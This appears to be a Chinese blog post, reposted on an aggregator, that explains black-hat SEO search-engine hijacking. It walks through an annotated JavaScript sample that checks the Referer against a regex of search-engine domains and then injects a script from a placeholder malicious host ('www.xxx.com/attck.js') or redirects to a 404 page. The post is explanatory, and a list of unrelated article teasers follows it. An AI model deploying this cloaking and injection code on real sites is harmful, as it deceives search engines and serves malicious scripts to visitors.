黑帽SEO之搜索引擎劫持-域名劫持原理分析

问题起源

        这是在《Web安全深度剖析》的第二章“深入HTTP请求流程”的2.3章节“黑帽SEO之搜索引擎劫持”提到的内容,但是书中描述并不详细,没有讲如何攻击达到域名劫持的效果。

        书中对SEO搜索引擎劫持的现象描述如下:直接输入网站的域名可以进入网站,但是通过在百度或者谷歌等搜索引擎通过关键字看到自己的网站后,点击链接会跳转到其他网站,黑帽SEO利用HTTP协议中Referer和浏览器客户端User-agent字段来欺骗搜索引擎,这到底是如何做到的呢?

原始劫持步骤描述

        书中提到当用户通过百度或者谷歌搜索引擎打开网站时,一般会引出源页面(Referer消息头),利用这点就可以用任何Web语言进行针对搜索引擎的流量劫持,步骤如下:

        1.首先建立劫持搜索引擎库,比如以Baidu、Google等域名为关键字

        2.获取HTTP Referer首部信息。

        3.遍历搜索引擎库,并与referer的内容相比较,如果两者相同或者存在搜索引擎关键字,那么页面将会发生跳转,也就是域名劫持。

        对于书中这部分讲解,我认为讲解的很模糊,怎么比较Referer字段相同或者存在关键字就发生域名劫持,还有就是与UserAgent字段也没有关系啊,只在后面提了一句Useragent主要用于劫持搜索引擎的蜘蛛。整体来说书中P25页的内容比较抽象,看过只觉得云里雾里,没有逻辑性。

SEO域名劫持原理分析

HTTP协议

        这里我先介绍下HTTP协议中这两个字段的含义,对比如下表所示

字段RefererUser-Agent
作用表示当前请求是从哪个页面链接或跳转过来的标识请求的客户端(浏览器、爬虫、应用程序等)的软硬件信息
示例值Referer: https://example.com/page1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
示例含义

从 https://example.com/page1 点击链接跳转到 https://example.com/page2,则访问 page2 的请求中会包含:

Referer: https://example.com/page1

代表发起请求的客户端的软硬件信息为
Windows NT 10.0:操作系统为 Windows 10。
Chrome/120.0.0.0:浏览器为 Chrome 120 版本。
Safari/537.36:兼容 Safari 内核。
隐私问题可能泄露用户浏览历史可能泄露设备信息
是否可空直接输入地址访问时为空必须存在(但可伪造)

        基于此可知,如果我们在百度搜索"csdn",引擎搜索关键字看到的网站,打开csdn的网页链接,如下所示

        Referer一般应该为搜索关键字的页面(也就是对应的搜索引擎页面),内容大概如下所示

https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=csdn&fenlei=256&oq=csdn

分析攻击原理

        在原始劫持步骤的第三步中提到,当Referer的内容与搜索引擎库匹配时发生跳转,这是什么原理呢?由于Referer内容为搜索引擎的相关信息,为何匹配上就攻击成功呢,这是因为书中在讲解这个步骤时没有描述攻击脚本信息,假设有如下攻击脚本:

// 定义一个正则表达式,用于匹配常见的搜索引擎域名
// 匹配格式:.引擎名.后缀(如 .baidu.com、.google.com.hk)
// 修饰符:i(忽略大小写)、g(全局匹配)
var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;// 获取当前页面的来源页地址(即HTTP请求头中的Referer字段)
var where = document.referer;// 检查来源页地址是否匹配正则表达式(即是否来自搜索引擎)
if (regexp.test(where)) {// 如果来自搜索引擎,动态插入一个恶意脚本// 该脚本可能用于SEO作弊、流量劫持或攻击行为document.write('<script language="javascript" type="text/javascript" src="http://www.xxx.com/attck.js"></script>');
} else {// 如果不是来自搜索引擎,跳转到404页面(可能用于隐藏真实内容)window.location.href = "../../404.htm";
}

        该脚本通过检测HTTP请求的Referer字段,判断用户访问的网址来源是否来自搜索引擎(如百度、Google等)。如果匹配成功(即流量来自搜索引擎爬虫或搜索结果页跳转,代码来看就是egexp正则表达式中的关键字),则动态插入恶意JavaScript脚本(脚本中的挂马脚本src=”http://www.xxx.com/attck.js”),可能用于SEO作弊(如伪造内容、刷排名)、流量劫持(跳转至恶意网站)或注入攻击代码(如XSS、挖矿脚本)。而普通用户直接访问时,则会被重定向至404页面,使恶意内容仅对搜索引擎可见,从而实现Cloaking(伪装攻击),欺骗搜索引擎收录虚假内容,劫持搜索流量。这种手法属于黑帽SEO,严重违反搜索引擎规则,可能导致网站被降权或封禁。

总结

        综上所述,原始的步骤就可以解释通了,我们再来回顾下这个步骤,攻击过程可以拆解为 “检测来源 → 匹配搜索引擎 → 执行劫持”*三个阶段,具体如下:

1. 建立搜索引擎劫持库

- 通过脚本中的如下正则表达式来实现关键字的搜索引擎库

var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;

  - 匹配的域名包括:`.baidu.com`、`.google.com.hk`、`.bing.com` 等。  
  - 匹配规则:  
    - `\.(引擎名)`:匹配域名中的搜索引擎关键字(如 `.baidu`)。  
    - `(\.[a-z0-9\-]+){1,2}`:匹配顶级域名(如 `.com`、`.com.hk`)。  

2. 获取并检测HTTP Referer字段

  浏览器在请求网页时会自动携带 `Referer` 字段,标明当前请求的来源页面。  
  - 例如:用户通过百度搜索结果页访问时,`Referer` 值为:  

Referer: https://www.baidu.com/link?url=xxx

这时使用脚本来匹配refer中字段是否包含搜索引擎相关的关键字,即可判断流量是否为搜索引擎流量。

3. 执行劫持:差异化响应攻击

  当流量被识别为来自搜索引擎时,脚本动态插入恶意代码可能导致SEO域名劫持等问题:  

document.write('<script src="http://www.xxx.com/attck.js"></script>');

        然而当不匹配搜索引擎时,比如只是普通用户则不发起攻击,这里脚本选择跳转到404页面, 目的应该是避免普通用户发现异常,仅对搜索引擎暴露恶意内容:  

  window.location.href = "../../404.htm";

综上所示,攻击流程如下所示: 


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/74181.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

theos工具来编译xcode的swiftUI项目为ipa文件

Theos 是一个开源的开发工具套件&#xff0c;主要用于为 iOS/macOS 平台开发和编译 越狱插件&#xff08;Tweaks&#xff09;、动态库、命令行工具等。它由 Dustin Howett 创建&#xff0c;并被广泛用于越狱社区的开发中。但这里我主要使用它的打包ipa功能&#xff0c;因为我的…

25.4.1学习总结【Java】

动态规划题 2140. 解决智力问题https://leetcode.cn/problems/solving-questions-with-brainpower/ 给你一个下标从 0 开始的二维整数数组 questions &#xff0c;其中 questions[i] [pointsi, brainpoweri] 。 这个数组表示一场考试里的一系列题目&#xff0c;你需要 按顺…

计算机网络知识点汇总与复习——(二)物理层

Preface 计算机网络是考研408基础综合中的一门课程&#xff0c;它的重要性不言而喻。然而&#xff0c;计算机网络的知识体系庞大且复杂&#xff0c;各类概念、协议和技术相互关联&#xff0c;让人在学习时容易迷失方向。在进行复习时&#xff0c;面对庞杂的的知识点&#xff0c…

string的底层原理

一.构造函数 我们来看一下&#xff0c;string的底层就是一个字符型指针和一个size来表示string的大小&#xff0c;capacity来表示分配的内存大小。 我们来看我们注释掉的第一个构造函数&#xff0c;我们是通过初始化列表来初始化size的大小&#xff0c;再通过size的大小来初始化…

Python FastAPI + Celery + RabbitMQ 分布式图片水印处理系统

FastAPI 服务器Celery 任务队列RabbitMQ 作为消息代理定时任务处理 首先创建项目结构&#xff1a; c:\Users\Administrator\Desktop\meitu\ ├── app/ │ ├── __init__.py │ ├── main.py │ ├── celery_app.py │ ├── tasks.py │ └── config.py…

【蓝桥杯】每日练习 Day18

目录 前言 动态求连续区间和 分析 代码 数星星 分析 代码 星空之夜 分析 代码 前言 接下来是今天的题目&#xff08;本来是有四道题的但是有一道题是前面讲过&#xff08;逆序数的&#xff0c;感兴趣的小伙伴可以去看我归并排序的那一篇&#xff09;的我就不再过多赘…

基于银河麒麟桌面服务器操作系统的 DeepSeek本地化部署方法【详细自用版】

一、3种方式使用DeepSeek 1.本地部署 服务器操作系统环境进行,具体流程如下(桌面环境步骤相同): 本例所使用银河麒麟高级服务器操作系统版本信息: (1)安装ollama 方式一:按照ollama官网的下载指南,执行如下命令: curl -fsSL https://ollama.com/install.sh | sh方…

Python入门(7):Python序列结构-字典

字典Dictionary 字典(dictionary)和列表类似&#xff0c;也是可变序列&#xff0c;不过与列表不同&#xff0c;它是无序的可变序列&#xff0c;保存的为容是以“键-值对”的形式存放的。 Python 中的字典相当于 Java 或者 C中的 Map 对象。在C#中,就是Dictionary<TKey,TVa…

Flutter项目之构建打包分析

目录&#xff1a; 1、准备部分2、构建Android包2.1、配置修改部分2.2、编译打包 3、构建ios包3.1、配置修改部分3.2、编译打包 1、准备部分 2、构建Android包 2.1、配置修改部分 2.2、编译打包 执行flutter build apk命令进行打包。 3、构建ios包 3.1、配置修改部分 3.2、编译…

不用再付费~全网书源一键下载,实现阅读自由!!!

现在市面上有许多免费你看书的软件&#xff0c;但都软件内太多广告弹窗&#xff0c;这无疑是很烦&#xff0c;有事一不小心点进去就下载了软件&#xff0c;简直让人头大&#xff01; 如果你遇到这样的难题那么就应该看下本文~ 这是一款能一键将在线连载小说整合下载成标准格式&…

GCC RISCV 后端 -- GIMPLE IR 表示的一些理解

C/C源代码经过 GCC 解析&#xff08;Parse&#xff09;及转换后&#xff0c;通过 GIMPLE IR 予以表示&#xff08;Representation&#xff09;。其中&#xff0c;一个C/C源文件&#xff0c;通过 宏处理后&#xff0c;形成一个 转译单元&#xff08;Translation Unit&#xff09…

JAVA设计模式之适配器模式《太白金星有点烦》

太白金星握着月光凝成的鼠标&#xff0c;第108次检查南天门服务器的运行日志。这个刚从天枢院调来的三等仙官&#xff0c;此刻正盯着瑶池主机房里的青铜鼎发愁——鼎身上"天地同寿"的云纹间&#xff0c;漂浮着三界香火系统每分钟吞吐的十万条功德数据。看着居高不下的…

以太坊DApp开发脚手架:Scaffold-ETH 2 详细介绍与搭建教程

一、什么是Scaffold-ETH 2 Scaffold-ETH 2是一个开源的最新工具包&#xff0c;类似于脚手架。用于在以太坊区块链上构建去中心化应用程序 &#xff08;DApp&#xff09;。它旨在使开发人员更容易创建和部署智能合约&#xff0c;并构建与这些合约交互的用户界面。 Scaffold-ETH…

毕业设计:实现一个基于Python、Flask和OpenCV的人脸打卡Web系统(六)

毕业设计:实现一个基于Python、Flask和OpenCV的人脸打卡Web系统(六) Flask Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。 Flask也被称为 “microframework” ,因为它使用简单的核心,…

第十一章 VGA显示图片(还不会)

FPGA至简设计实例 前言 一、项目背景 1. IP核概述 IP 核(Intellectual Property core)指的是知识产权核或知识产权模块,其是具有特定电路功能的硬件描述语言程序,在EDA技术开发中具有十分重要的地位。美国著名的Dataquest咨询公司将 半导体产业的IP定义为“用于ASIC或FPGA…

浙江大学公开课|第二季|从大模型、智能体到复杂AI应用系统的构建——以产业大脑为例

大家好&#xff0c;我是吾鳴。 前沿回顾 吾鳴之前给大家分享过浙江大学DeepSeek系列公开课第一季&#xff0c;第一季一共八讲&#xff0c;内容介绍丰富&#xff0c;内容之广&#xff0c;看完粉丝朋友直呼浙大良心。这八讲公开课名称分别是&#xff1a; 第一期&#xff08;上&…

Spring AOP中为所有类型通知传递参数的完整示例,包含详细注释和参数传递方式

以下是Spring AOP中为所有类型通知传递参数的完整示例&#xff0c;包含详细注释和参数传递方式&#xff1a; // 1. 目标类&#xff08;被增强的类&#xff09; package com.example;public class TargetService {public void doTask(String param) {System.out.println("…

【Git教程】将dev分支合并到master后,那么dev分支该如何处理

将 dev 合并到 master 后的分支状态与操作指南 1. 合并后的分支状态 dev 分支不会消失&#xff1a; Git 的 git merge 命令仅将 dev 的内容合并到 master&#xff0c;不会删除 dev 分支。合并后&#xff0c;dev 分支仍然存在&#xff0c;其历史记录和代码保持不变。 分支的 H…

【go】异常处理panic和recover

panic 和 recover 当然能触发程序宕机退出的&#xff0c;也可以是我们自己&#xff0c;比如经过检查判断&#xff0c;当前环境无法达到我们程序进行的预期条件时&#xff08;比如一个服务指定监听端口被其他程序占用&#xff09;&#xff0c;可以手动触发 panic&#xff0c;让…

CSS层叠顺序

介绍 在 CSS 中&#xff0c;元素的层叠顺序决定了当多个元素重叠时&#xff08;跟布局没有完全的关系&#xff0c;也就是说层叠顺序只会在几个叠放元素上进行比较&#xff0c;而不会改变布局&#xff09;&#xff0c;哪个元素显示在最上面&#xff0c;哪个元素显示在最下面。 …